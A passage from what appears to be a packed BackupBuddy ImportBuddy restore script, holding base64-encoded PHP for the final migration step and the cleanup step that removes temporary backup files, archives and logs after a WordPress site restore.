cG9ydGJ1ZGR5X2ZpbGUgKTsKCSRzdGF0ZV9maWxlID0gQUJTUEFUSCAuICdpbXBvcnRidWRkeS0nIC4gJGltcG9ydEZpbGVTZXJpYWwgLiAnLXN0YXRlLnBocCc7CglwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdXcml0aW5nIHRvIHN0YXRlIGZpbGUgYCcgLiAkc3RhdGVfZmlsZSAuICdgLicgKTsKCWlmICggZmFsc2UgPT09ICggJGZpbGVfaGFuZGxlID0gQGZvcGVuKCAkc3RhdGVfZmlsZSwgJ3cnICkgKSApIHsKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnRXJyb3IgIzMyODkzNzogVGVtcCBzdGF0ZSBmaWxlIGlzIG5vdCBjcmVhdGFibGUvd3JpdGFibGUuIENoZWNrIHlvdXIgcGVybWlzc2lvbnMuICgnIC4gJHN0YXRlX2ZpbGUgLiAnKScgKTsKCQlyZXR1cm4gZmFsc2U7Cgl9CglpZiAoIGZhbHNlID09PSBmd3JpdGUoICRmaWxlX2hhbmRsZSwgIjw/cGhwIGRpZSgnQWNjZXNzIERlbmllZC4nKTsgLy8gPCEtLSA/PlxuIiAuIGJhc2U2NF9lbmNvZGUoIGpzb25fZW5jb2RlKCAkcmVzdG9yZS0+X3N0YXRlICkgKSApICkgewoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdFcnJvciAjMjM4OTM3MzogVW5hYmxlIHRvIHdyaXRlIHRvIHN0YXRlIGZpbGUuJyApOwoJfSBlbHNlIHsKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdXcm90ZSB0byBzdGF0ZSBmaWxlLicgKTsKCX0KCWZjbG9zZSggJGZpbGVfaGFuZGxlICk7CgkKCWlmICggNiA9PSAkbmV4dFN0ZXBOdW0gKSB7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAnTW92aW5nIHRvIGNsZWFudXAgc3RlcCBuZXh0Li4uJyApOwoJfSBlbHNlIHsKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdDaHVua2luZyBkYXRhYmFzZSBtaWdyYXRpb24gc28gYWJvdXQgdG8gcnVuIHN0ZXAgYCcgLiAkbmV4dFN0ZXBOdW0gLiAnYC4nICk7Cgl9Cgk/PgoJPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ij9hamF4PTw/cGhwIGVjaG8gJG5leHRTdGVwTnVtOyA/PiZ2PTw/cGhwIGVjaG8gcGJfYmFja3VwYnVkZHk6Ol9HRVQoICd2JyApOyA/PiZkZXBsb3k9dHJ1ZSZkaXJlY3Rpb249PD9waHAgZWNobyBwYl9iYWNrdXBidWRkeTo6X0dFVCggJ2RpcmVjdGlvbicgKTsgPz4mZGlzcGxheV9tb2RlPWVtYmVkIiBpZD0iZGVwbG95LWF1dG9Qcm9jZWVkIj4KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJyZXN0b3JlRGF0YSIgdmFsdWU9Ijw/cGhwIGVjaG8gYmFzZTY0X2VuY29kZSggdXJsZW5jb2RlKCBqc29uX2VuY29kZSggJHJlc3RvcmUtPl9zdGF0ZSApICkgKTsgPz4iPgoJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im15LXN1Ym1pdCIgdmFsdWU9Ik5leHQgU3RlcCIgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsiPgoJPC9mb3JtPgoJPHNjcmlwdD5zZXRUaW1lb3V0KCBmdW5jdGlvbigpeyBqUXVlcnkoICcjZGVwbG95LWF1dG9Qcm9jZWVkJyApLnN1Ym1pdCgpOyB9LCAzMDAwICk7PC9zY3JpcHQ+Cgk8P3BocAoJcmV0dXJuOwoJCn0gZWxzZSB7IC8vIFN0YW5kYXJkIGltcG9ydAoJCgkvLyBTdWNjZXNzIChvciBtaWdyYXRlIHdhcyBza2lwcGVkKS4KCWlmICggdHJ1ZSA9PT0gJG1pZ3JhdGVSZXN1bHRzICkgewoJCQoJCWZpbmFsQWN0aW9ucyggJHJlc3RvcmUgKTsKCQkKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdGaW5pc2hpbmcgc3RlcCA1LicgKTsKCQllY2hvICI8c2NyaXB0PgoJCXNldFRpbWVvdXQoIGZ1bmN0aW9uKCl7CgkJCXBhZ2VUaXRsZSggJ1N0ZXAgNjogVmVyaWZ5IFNpdGUgJiBGaW5pc2gnICk7CgkJCWJiX3Nob3dTdGVwKCAnY2xlYW51cFNldHRpbmdzJywgIiAuIGpzb25fZW5jb2RlKCAkcmVzdG9yZS0+X3N0YXRlICkgLiAiICk7CgkJfSwgMjAwMCApOwoJCTwvc2NyaXB0PiI7CgkJCgl9Cgp9CgoKcGJfYmFja3VwYnVkZHk6OmxvYWRfdmlldyggJ19pZnJhbWVfZm9vdGVyJyk7Cgo=
###PACKDATA,FILE_END,/_importbuddy/importbuddy/controllers/ajax/5.php,importbuddy/controllers/ajax/5.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/controllers/ajax/6.php,importbuddy/controllers/ajax/6.php
PD9waHAKaWYgKCAhIGRlZmluZWQoICdQQl9JTVBPUlRCVUREWScgKSB8fCAoIHRydWUgIT09IFBCX0lNUE9SVEJVRERZICkgKSB7CglkaWUoICc8aHRtbD48L2h0bWw+JyApOwp9CkF1dGg6OnJlcXVpcmVfYXV0aGVudGljYXRpb24oKTsgLy8gRGllIGlmIG5vdCBsb2dnZWQgaW4uCnBiX2JhY2t1cGJ1ZGR5Ojpsb2FkX3ZpZXcoICdfaWZyYW1lX2hlYWRlcicpOwpwYl9iYWNrdXBidWRkeTo6c2V0X2dyZWVkeV9zY3JpcHRfbGltaXRzKCk7CmVjaG8gIjxzY3JpcHQ+cGFnZVRpdGxlKCAnU3RlcCA2OiBDbGVhbnVwICYgQ29tcGxldGlvbicgKTs8L3NjcmlwdD4iOwplY2hvICI8c2NyaXB0PmJiX3Nob3dTdGVwKCAnY2xlYW51cFNldHRpbmdzJyApOzwvc2NyaXB0PiI7CnBiX2JhY2t1cGJ1ZGR5OjpmbHVzaCgpOwoKCmlmICggJ3RydWUnICE9IHBiX2JhY2t1cGJ1ZGR5OjpfR0VUKCAnZGVwbG95JyApICkgeyAvLyBkZXBsb3ltZW50IG1vZGUgcHJlLWxvYWRzIHN0YXRlIGRhdGEgaW4gYSBmaWxlIGluc3RlYWQgb2YgcGFzc2luZyB2aWEgcG9zdC4KCS8vIFBhcnNlIHN1Ym1pdHRlZCByZXN0b3JlRGF0YSByZXN0b3JlIHN0YXRlIGZyb20gcHJldmlvdXMgc3RlcC4KCSRyZXN0b3JlRGF0YSA9IHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ3Jlc3RvcmVEYXRhJyApOwoJCgkKCS8vIERlY29kZSBzdWJtaXR0ZWQgZGF0YSwgcmVwb3J0aW5nIGRldGFpbHMgb24gZmFpbHVyZS4KCSRkZWNvZGVGYWlsUmVhc29uID0gJyc7CglpZiAoIGZhbHNlID09PSAoICRyZXN0b3JlRGF0YSA9IGJhc2U2NF9kZWNvZGUoICRyZXN0b3JlRGF0YSApICkgKSB7IC8vIGZhbHNlIGlmIGZhaWxlZAoJCSRkZWNvZGVGYWlsUmVhc29uID0gJ0VSUk9SICM4Mzg5M2I6IFJlc3RvcmUgaGFsdGVkLiBVbmFibGUgdG8gYmFzZTY0X2RlY29kZSgpIHN1Ym1pdHRlZCBmb3JtIGRhdGEgYCcgLiBodG1sZW50aXRpZXMoIHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ3Jlc3RvcmVEYXRhJyApICkgLiAnYC4nOwoJfSBlbHNlIHsgLy8gU3VjY2Vzcy4KCQkkcmVzdG9yZURhdGEgPSB1cmxkZWNvZGUoICRyZXN0b3JlRGF0YSApOwoJCWlmICggbnVsbCA9PT0gKCAkcmVzdG9yZURhdGEgPSBqc29uX2RlY29kZSggJHJlc3RvcmVEYXRhLCB0cnVlICkgKSApIHsgLy8gbnVsbCBpZiBmYWlsZWQKCQkJJG1lc3NhZ2UgPSAnRVJST1IgIzgzODkzYzogUmVzdG9yZSBoYWx0ZWQuIFVuYWJsZSB0byBkZWNvZGUgSlNPTiByZXN0b3JlIGJhc2U2NCBkZWNvZGVkIGRhdGEgYCcgLiBodG1sZW50aXRpZXMoIGJhc2U2NF9kZWNvZGUoIHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ3Jlc3RvcmVEYXRhJyApICkgKSAuICdgLiBCZWZvcmUgYmFzZTY0IGRlY29kZTogYCcgLiBodG1sZW50aXRpZXMoIHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ3Jlc3RvcmVEYXRhJyApICkgLiAnYC4nOwoJCQlpZiAoIGZ1bmN0aW9uX2V4aXN0cyggJ2pzb25fbGFzdF9lcnJvcicgKSApIHsKCQkgCQkkbWVzc2FnZSAuPSAnIGpzb25fbGFzdF9lcnJvcjogYCcgLiBqc29uX2xhc3RfZXJyb3IoKSAuICdgLic7CgkJIAl9CgkJIAkkZGVjb2RlRmFpbFJlYXNvbiA9ICRtZXNzYWdlOwoJCX0gZWxzZSB7IC8vIFN1Y2Nlc3MuCgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1N1Y2Nlc3MgZGVjb2Rpbmcgc3VibWl0dGVkIGVuY29kZWQgZGF0YS4nICk7CgkJfQoJfQoJLy8gUmVwb3J0IGZhaWx1cmUgYW5kIGZhdGFsbHkgaGFsdC4KCWlmICggJycgIT09ICRkZWNvZGVGYWlsUmVhc29uICkgewoJCXBiX2JhY2t1cGJ1ZGR5OjphbGVydCggJG1lc3NhZ2UgKTsKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAkbWVzc2FnZSApOwoJCWRpZSgpOwoJfQoJCgkKfSBlbHNlIHsKCWlmICggaXNzZXQoIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snZGVmYXVsdF9zdGF0ZV9vdmVycmlkZXMnXSApICYmICggY291bnQoIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snZGVmYXVsdF9zdGF0ZV9vdmVycmlkZXMnXSApID4gMCApICkgeyAvLyBEZWZhdWx0IHN0YXRlIG92ZXJyaWRlcyBleGlzdC4gQXBwbHkgdGhlbS4KCQkkcmVzdG9yZURhdGEgPSBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2RlZmF1bHRfc3RhdGVfb3ZlcnJpZGVzJ107CgkJCgkJLyoKCQllY2hvICc8cHJlPic7CgkJcHJpbnRfciggJHJlc3RvcmVEYXRhICk7CgkJZWNobyAnPC9wcmU+JzsKCQkqLwoJfSBlbHNlIHsKCQlkaWUoICdFcnJvciAjMzI3ODMyMTogTWlzc2luZyBleHBlY3RlZCBkZWZhdWx0IHN0YXRlIG92ZXJyaWRlLicgKTsKCX0KfQoKCi8vIEluc3RhbnRpYXRlIHJlc3RvcmUgY2xhc3MuCnJlcXVpcmVfb25jZSggcGJfYmFja3VwYnVkZHk6OnBsdWdpbl9wYXRoKCkgLiAnL2NsYXNzZXMvcmVzdG9yZS5waHAnICk7CiRyZXN0b3JlID0gbmV3IGJhY2t1cGJ1ZGR5X3Jlc3RvcmUoICdyZXN0b3JlJywgJHJlc3RvcmVEYXRhICk7CnVuc2V0KCAkcmVzdG9yZURhdGEgKTsgLy8gQWNjZXNzIHZpYSAkcmVzdG9yZS0+X3N0YXRlIHRvIG1ha2Ugc3VyZSBpdCBpcyBhbHdheXMgdXAgdG8gZGF0ZS4KaWYgKCAndHJ1ZScgIT0gcGJfYmFja3VwYnVkZHk6Ol9HRVQoICdkZXBsb3knICkgKSB7IC8vIFdlIGRvbnQgYWNjZXB0IHN1Ym1pdHRlZCBmb3JtIG9wdGlvbnMgZHVyaW5nIGRlcGxveS4KCSRyZXN0b3JlLT5fc3RhdGUgPSBwYXJzZV9vcHRpb25zKCAkcmVzdG9yZS0+X3N0YXRlICk7Cn0gZWxzZSB7IC8vIERlcGxveW1lbnQgc2hvdWxkIHNsZWVwIHRvIGhlbHAgZ2l2ZSB0aW1lIGZvciB0aGUgc291cmNlIHNpdGUgdG8gZ3JhYiB0aGUgbGFzdCBzdGF0dXMgbG9nLgoJc2xlZXAoIDUgKTsKfQoKJGZvb3RlciA9IGZpbGVfZ2V0X2NvbnRlbnRzKCBwYl9iYWNrdXBidWRkeTo6JF9wbHVnaW5fcGF0aCAuICcvdmlld3MvX2lmcmFtZV9mb290ZXIucGhwJyApOwoKaWYgKCAndHJ1ZScgPT0gcGJfYmFja3VwYnVkZHk6Ol9HRVQoICdkZXBsb3knICkgKSB7CgllY2hvICc8aDU+RmluaXNoZWQgZGVwbG95aW5nIHB1c2hlZCBkYXRhICYgdGVtcG9yYXJ5IGZpbGUgY2xlYW51cC48L2g1Pic7Cn0KZWNobyAiPHNjcmlwdD5iYl9zaG93U3RlcCggJ2ZpbmlzaGVkJywgIiAuIGpzb25fZW5jb2RlKCAkcmVzdG9yZS0+X3N0YXRlICkgLiAiICk7PC9zY3JpcHQ+IjsKCgovLyBSZXBsYWNlcyBzbGVlcGluZyA2IHNlY29uZHMuIE1vcmUgcmVsaWFibGUgYnV0IHVzZXMgbG90cyBvZiBDUFUuCiRzdG9wX3RpbWVfbGltaXQgPSA2OwpwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdCZWdnaW5pbmcgYCcgLiAkc3RvcF90aW1lX2xpbWl0IC4gJ2Agc2Vjb25kIHNsZWVwIHdoaWxlIGZpbGVzIGRlbGV0ZS4nICk7CnBiX2JhY2t1cGJ1ZGR5OjpmbHVzaCggdHJ1ZSApOwokdCA9IDA7IC8vIFRpbWUgPSAwOwp3aGlsZSggJHQgPCAkc3RvcF90aW1lX2xpbWl0ICkgewoJJG5vdyA9IHRpbWUoKTsKCXdoaWxlICggdGltZSgpIDwgKCAkbm93ICsgMSApICkgeyB0cnVlOyB9CgkkdCsrOwp9CgppZiAoICcnICE9PSAkcmVzdG9yZS0+X3N0YXRlWydjbGVhbnVwJ11bJ3NldF9ibG9nX3B1YmxpYyddICkgewoJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnQ2hhbmdpbmcgYmxvZ19wdWJsaWMgc2VhcmNoIGVuZ2luZSB2aXNpYmlsaXR5IGJhc2VkIG9uIHNlbGVjdGVkIHNldHRpbmcgd2l0aCB2YWx1ZSBgJyAuICRyZXN0b3JlLT5fc3RhdGVbJ2NsZWFudXAnXVsnc2V0X2Jsb2dfcHVibGljJ10gLiAnYC4nICk7CgkkcmVzdG9yZS0+c2V0QmxvZ1B1YmxpYyggJHJlc3RvcmUtPl9zdGF0ZVsnY2xlYW51cCddWydzZXRfYmxvZ19wdWJsaWMnXSApOwp9IGVsc2UgewoJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTm8gY2hhbmdlIHRvIGJsb2dfcHVibGljIHNlYXJjaCBlbmdpbmUgdmlzaWJpbGl0eSBiYXNlZCBvbiBzZWxlY3RlZCBzZXR0aW5nLicgKTsKfQoKaWYgKCAndHJ1ZScgPT0gcGJfYmFja3VwYnVkZHk6Ol9HRVQoICdkZXBsb3knICkgKSB7IC8vIERlcGxveW1lbnQKCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0RlcGxveW1lbnQgc28gc2tpcHBpbmcgY2xlYW51cCBwcm9jZWR1cmVzLicgKTsKfSBlbHNlIHsKCWNsZWFudXAoICRyZXN0b3JlLT5fc3RhdGUsICRyZXN0b3JlICk7Cn0KZWNobyAkZm9vdGVyOyAvLyBXZSBtdXN0IHByZWxvYWQgdGhlIGZvb3RlciBmaWxlIGNvbnRlbnRzIHNpbmNlIHdlIGFyZSBhYm91dCB0byBkZWxldGUgaXQuCgoKaWYgKCAndHJ1ZScgPT0gcGJfYmFja3VwYnVkZHk6Ol9HRVQoICdkZXBsb3knICkgKSB7IC8vIERlcGxveW1lbnQKCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgJ0RlcGxveW1lbnQgZmluaXNoZWQgKGltcG9ydGJ1ZGR5KS4nICk7CglwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGVwbG95RmluaXNoZWQnLCAnRmluaXNoZWQuJyApOwp9IGVsc2UgeyAvLyBTdGFuZGFyZCByZXN0b3JlLgoJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2JhY2t1cGJ1ZGR5X21pbGVzdG9uZScsICdmaW5pc2hfaW1wb3J0YnVkZHknICk7Cn0KCgovLyBQYXJzZSBzdWJtaXR0ZWQgb3B0aW9ucy9zZXR0aW5ncy4KZnVuY3Rpb24gcGFyc2Vfb3B0aW9ucyggJHJlc3RvcmVEYXRhICkgewoJCglpZiAoICcxJyA9PSBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICdkZWxldGVfYmFja3VwJyApICkgewoJCSRyZXN0b3JlRGF0YVsnY2xlYW51cCddWydkZWxldGVBcmNoaXZlJ10gPSB0cnVlOwoJfSBlbHNlIHsKCQkkcmVzdG9yZURhdGFbJ2NsZWFudXAnXVsnZGVsZXRlQXJjaGl2ZSddID0gZmFsc2U7Cgl9CgkKCWlmICggJzEnID09IHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ2RlbGV0ZV90ZW1wJyApICkgewoJCSRyZXN0b3JlRGF0YVsnY2xlYW51cCddWydkZWxldGVUZW1wRmlsZXMnXSA9IHRydWU7Cgl9IGVsc2UgewoJCSRyZXN0b3JlRGF0YVsnY2xlYW51cCddWydkZWxldGVUZW1wRmlsZXMnXSA9IGZhbHNlOwoJfQoJCglpZiAoICcxJyA9PSBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICdkZWxldGVfaW1wb3J0YnVkZHknICkgKSB7CgkJJHJlc3RvcmVEYXRhWydjbGVhbnVwJ11bJ2RlbGV0ZUltcG9ydEJ1ZGR5J10gPSB0cnVlOwoJfSBlbHNlIHsKCQkkcmVzdG9yZURhdGFbJ2NsZWFudXAnXVsnZGVsZXRlSW1wb3J0QnVkZHknXSA9IGZhbHNlOwoJfQoJCglpZiAoICcxJyA9PSBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICdkZWxldGVfaW1wb3J0YnVkZHlfZGlyZWN0b3J5JyApICkgewoJCSRyZXN0b3JlRGF0YVsnY2xlYW51cCddWydkZWxldGVJbXBvcnRCdWRkeURpcmVjdG9yeSddID0gdHJ1ZTsKCX0gZWxzZSB7CgkJJHJlc3RvcmVEYXRhWydjbGVhbnVwJ11bJ2RlbGV0ZUltcG9ydEJ1ZGR5RGlyZWN0b3J5J10gPSBmYWxzZTsKCX0KCQoJaWYgKCAnMScgPT0gcGJfYmFja3VwYnVkZHk6Ol9QT1NUKCAnZGVsZXRlX2ltcG9ydGJ1ZGR5bG9nJyApICkgewoJCSRyZXN0b3JlRGF0YVsnY2xlYW51cCddWydkZWxldGVJbXBvcnRMb2cnXSA9IHRydWU7Cgl9IGVsc2UgewoJCSRyZXN0b3JlRGF0YVsnY2xlYW51cCddWydkZWxldGVJbXBvcnRMb2cnXSA9IGZhbHNlOwoJfQoJCgkvLyBTZWFyY2ggZW5naW5lIHZpc2liaWxpdHkgKHNldF9ibG9nX3B1YmxpYyB3cF9vcHRpb25zKS4KCWlmICggJzEnID09IHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ3NldF9ibG9nX3B1YmxpYycgKSApIHsKCQkkcmVzdG9yZURhdGFbJ2NsZWFudXAnXVsnc2V0X2Jsb2dfcHVibGljJ10gPSB0cnVlOwoJfSBlbHNlaWYgKCAnMCcgPT0gcGJfYmFja3VwYnVkZHk6Ol9QT1NUKCAnc2V0X2Jsb2dfcHVibGljJyApICkgewoJCSRyZXN0b3JlRGF0YVsnY2xlYW51cCddWydzZXRfYmxvZ19wdWJsaWMnXSA9IGZhbHNlOwoJfQoJCglyZXR1cm4gJHJlc3RvcmVEYXRhOwp9CgoKLyoJY2xlYW51cCgpCiAqCQogKglDbGVhbnMgdXAgYW55IHRlbXBvcmFyeSBmaWxlcyBsZWZ0IGJ5IGltcG9ydGJ1ZGR5LgogKgkKICoJQHJldHVybgkJbnVsbAogKi8KZnVuY3Rpb24gY2xlYW51cCggJHJlc3RvcmVEYXRhLCAkcmVzdG9yZSApIHsKCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1N0YXJ0aW5nIGltcG9ydGJ1ZGR5IGNsZWFudXAgcHJvY2VkdXJlcy4nICk7CgkKCS8vIEFsd2F5cyBkZWxldGUgYW55IGFyY2hpdmUgcHJpbWVyIGZpbGUgKC5pdGJ1YikgYXMgbm8gcHVycG9zZSB0byByZXRhaW4gaXQKCXJlbW92ZV9maWxlKCBBQlNQQVRIIC4gJy5pdGJ1YicsICcuaXRidWIgKGFyY2hpdmUgcHJpbWVyIGZpbGUpJywgZmFsc2UgKTsKCQoJaWYgKCB0cnVlICE9PSAkcmVzdG9yZURhdGFbJ2NsZWFudXAnXVsnZGVsZXRlQXJjaGl2ZSddICkgewoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1NraXBwZWQgZGVsZXRpbmcgYmFja3VwIGFyY2hpdmUuJyApOwoJfSBlbHNlIHsKCQlyZW1vdmVfZmlsZSggJHJlc3RvcmVEYXRhWydhcmNoaXZlJ10sICdiYWNrdXAgLlpJUCBmaWxlICgnIC4gJHJlc3RvcmVEYXRhWydhcmNoaXZlJ10gLiAnKScsIHRydWUgKTsKCX0KCQoJaWYgKCB0cnVlICE9PSAkcmVzdG9yZURhdGFbJ2NsZWFudXAnXVsnZGVsZXRlVGVtcEZpbGVzJ10gKSB7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnU2tpcHBlZCBkZWxldGluZyB0ZW1wb3JhcnkgZmlsZXMuJyApOwoJfSBlbHNlIHsKCQkvLyBGdWxsIGJhY2t1cCAuc3FsIGZpbGUKCQlyZW1vdmVfZmlsZSggQUJTUEFUSCAuICd3cC1jb250ZW50L3VwbG9hZHMvdGVtcF8nLiAkcmVzdG9yZURhdGFbJ3NlcmlhbCddIC4nL2RiLnNxbCcsICdkYi5zcWwgKGJhY2t1cCBkYXRhYmFzZSBkdW1wKScsIGZhbHNlICk7CgkJcmVtb3ZlX2ZpbGUoIEFCU1BBVEggLiAnd3AtY29udGVudC91cGxvYWRzL3RlbXBfJy4gJHJlc3RvcmVEYXRhWydzZXJpYWwnXSAuJy9kYl8xLnNxbCcsICdkYl8xLnNxbCAoYmFja3VwIGRhdGFiYXNlIGR1bXApJywgZmFsc2UgKTsKCQlyZW1vdmVfZmlsZSggQUJTUEFUSCAuICd3cC1jb250ZW50L3VwbG9hZHMvYmFja3VwYnVkZHlfdGVtcC8nLiAkcmVzdG9yZURhdGFbJ3NlcmlhbCddIC4nL2RiXzEuc3FsJywgJ2RiXzEuc3FsIChiYWNrdXAgZGF0YWJhc2UgZHVtcCknLCBmYWxzZSApOwoJCS8vIERCIG9ubHkgc3FsIGZpbGUKCQlyZW1vdmVfZmlsZSggQUJTUEFUSCAuICdkYi5zcWwnLCAnZGIuc3FsIChiYWNrdXAgZGF0YWJhc2UgZHVtcCknLCBmYWxzZSApOwoJCXJlbW92ZV9maWxlKCBBQlNQQVRIIC4gJ2RiXzEuc3FsJywgJ2RiXzEuc3FsIChiYWNrdXAgZGF0YWJhc2UgZHVtcCknLCBmYWxzZSApOwoJCQoJCS8vIEZ1bGwgYmFja3VwIGRhdCBmaWxlCgkJcmVtb3ZlX2ZpbGUoIEFCU1BBVEggLiAnd3AtY29udGVudC91cGxvYWRzL3RlbXBfJyAuICRyZXN0b3JlRGF0YVsnc2VyaWFsJ10gLiAnL2JhY2t1cGJ1ZGR5X2RhdC5waHAnLCAnYmFja3VwYnVkZHlfZGF0LnBocCAoYmFja3VwIGRhdGEgZmlsZSknLCBmYWxzZSApOwoJCXJlbW92ZV9maWxlKCBBQlNQQVRIIC4gJ3dwLWNvbnRlbnQvdXBsb2Fkcy9iYWNrdXBidWRkeV90ZW1wLycgLiAkcmVzdG9yZURhdGFbJ3NlcmlhbCddIC4gJy9iYWNrdXBidWRkeV9kYXQucGhwJywgJ2JhY2t1cGJ1ZGR5X2RhdC5waHAgKGJhY2t1cCBkYXRhIGZpbGUpJywgZmFsc2UgKTsKCQkvLyBEQiBvbmx5IGRhdCBmaWxlCgkJcmVtb3ZlX2ZpbGUoIEFCU1BBVEggLiAnYmFja3VwYnVkZHlfZGF0LnBocCcsICdiYWNrdXBidWRkeV9kYXQucGhwIChiYWNrdXAgZGF0YSBmaWxlKScsIGZhbHNlICk7CgkJCgkJcmVtb3ZlX2ZpbGUoIEFCU1BBVEggLiAnd3AtY29udGVudC91cGxvYWRzL2JhY2t1cGJ1ZGR5X3RlbXAvJyAuICRyZXN0b3JlRGF0YVsnc2VyaWFsJ10gLiAnLycsICdUZW1wb3JhcnkgYmFja3VwIGRpcmVjdG9yeScsIGZhbHNlICk7CgkJCgkJLy8gVGVtcCByZXN0b3JlIGRpci4KCQlyZW1vdmVfZmlsZSggQUJTUEFUSCAuICdpbXBvcnRidWRkeS90ZW1wXycuICRyZXN0b3JlRGF0YVsnc2VyaWFsJ10gLicvJywgJ1RlbXBvcmFyeSByZXN0b3JlIGRpcmVjdG9yeScsIGZhbHNlICk7CgkJCgkJLy8gUmVtb3ZlIHN0YXRlIGZpbGUgKGRlcGxveW1lbnQvZGVmYXVsdCBzZXR0aW5ncykuCgkJZ2xvYmFsICRpbXBvcnRidWRkeV9maWxlOwoJCSRpbXBvcnRGaWxlU2VyaWFsID0gYmFja3VwYnVkZHlfY29yZTo6Z2V0X3NlcmlhbF9mcm9tX2ZpbGUoICRpbXBvcnRidWRkeV9maWxlICk7CgkJJHN0YXRlX2ZpbGUgPSBBQlNQQVRIIC4gJ2ltcG9ydGJ1ZGR5LScgLiAkaW1wb3J0RmlsZVNlcmlhbCAuICctc3RhdGUucGhwJzsKCQlyZW1vdmVfZmlsZSggJHN0YXRlX2ZpbGUsICdEZWZhdWx0IHN0YXRlIGRhdGEgZmlsZScsIGZhbHNlICk7Cgl9CgkKCWdsb2JhbCAkaW1wb3J0YnVkZHlfZmlsZTsKCWlmICggdHJ1ZSAhPT0gJHJlc3RvcmVEYXRhWydjbGVhbnVwJ11bJ2RlbGV0ZUltcG9ydEJ1ZGR5J10gKSB7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnU2tpcHBlZCBkZWxldGluZyAnIC4gJGltcG9ydGJ1ZGR5X2ZpbGUgLiAnICh0aGlzIHNjcmlwdCkuJyApOwoJfSBlbHNlIHsKCQlyZW1vdmVfZmlsZSggQUJTUEFUSCAuICRpbXBvcnRidWRkeV9maWxlLCAkaW1wb3J0YnVkZHlfZmlsZSAuICcgKHRoaXMgc2NyaXB0KScsIHRydWUgKTsKCX0KCQoJaWYgKCB0cnVlICE9PSAkcmVzdG9yZURhdGFbJ2NsZWFudXAnXVsnZGVsZXRlSW1wb3J0QnVkZHlEaXJlY3RvcnknXSApIHsKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdTa2lwcGVkIGRlbGV0aW5nIGltcG9ydGJ1ZGR5IGRpcmVjdG9yeS4nICk7Cgl9IGVsc2UgewoJCXJlbW92ZV9maWxlKCBBQlNQQVRIIC4gJ2ltcG9ydGJ1ZGR5LycsICdJbXBvcnRCdWRkeSBEaXJlY3RvcnknLCB0cnVlICk7CgkJcmVtb3ZlX2ZpbGUoIEFCU1BBVEggLiAnaW1wb3J0YnVkZHkvX3NldHRpbmdzX2RhdC5waHAnLCAnX3NldHRpbmdzX2RhdC5waHAgKHRlbXBvcmFyeSBzZXR0aW5ncyBmaWxlKScsIGZhbHNlICk7Cgl9CgkKCS8vIERlbGV0ZSBsb2cgZmlsZSBsYXN0LgoJaWYgKCB0cnVlICE9PSAkcmVzdG9yZURhdGFbJ2NsZWFudXAnXVsnZGVsZXRlSW1wb3J0TG9nJ10gKSB7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnU2tpcHBlZCBkZWxldGluZyBpbXBvcnQgbG9nIChkZWxldGVJbXBvcnRCdWRkeURpcmVjdG9yeSBtYXkgb3ZlcnJpZGUpLicgKTsKCX0gZWxzZSB7CgkJcmVtb3ZlX2ZpbGUoIEFCU1BBVEggLiAnaW1wb3J0YnVkZHktJyAuIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snbG9nX3NlcmlhbCddIC4gJy50eHQnLCAnaW1wb3J0YnVkZHktJyAuIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snbG9nX3NlcmlhbCddIC4gJy50eHQgbG9nIGZpbGUnLCB0cnVlICk7Cgl9Cn0KCgoKCgovLyBVc2VkIGJ5IGNsZWFudXAoKSBhYm92ZS4KZnVuY3Rpb24gcmVtb3ZlX2ZpbGUoICRmaWxlLCAkZGVzY3JpcHRpb24sICRlcnJvcl9vbl9taXNzaW5nID0gZmFsc2UgKSB7CglwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnbWVzc2FnZScsICdEZWxldGluZyBgJyAuICRkZXNjcmlw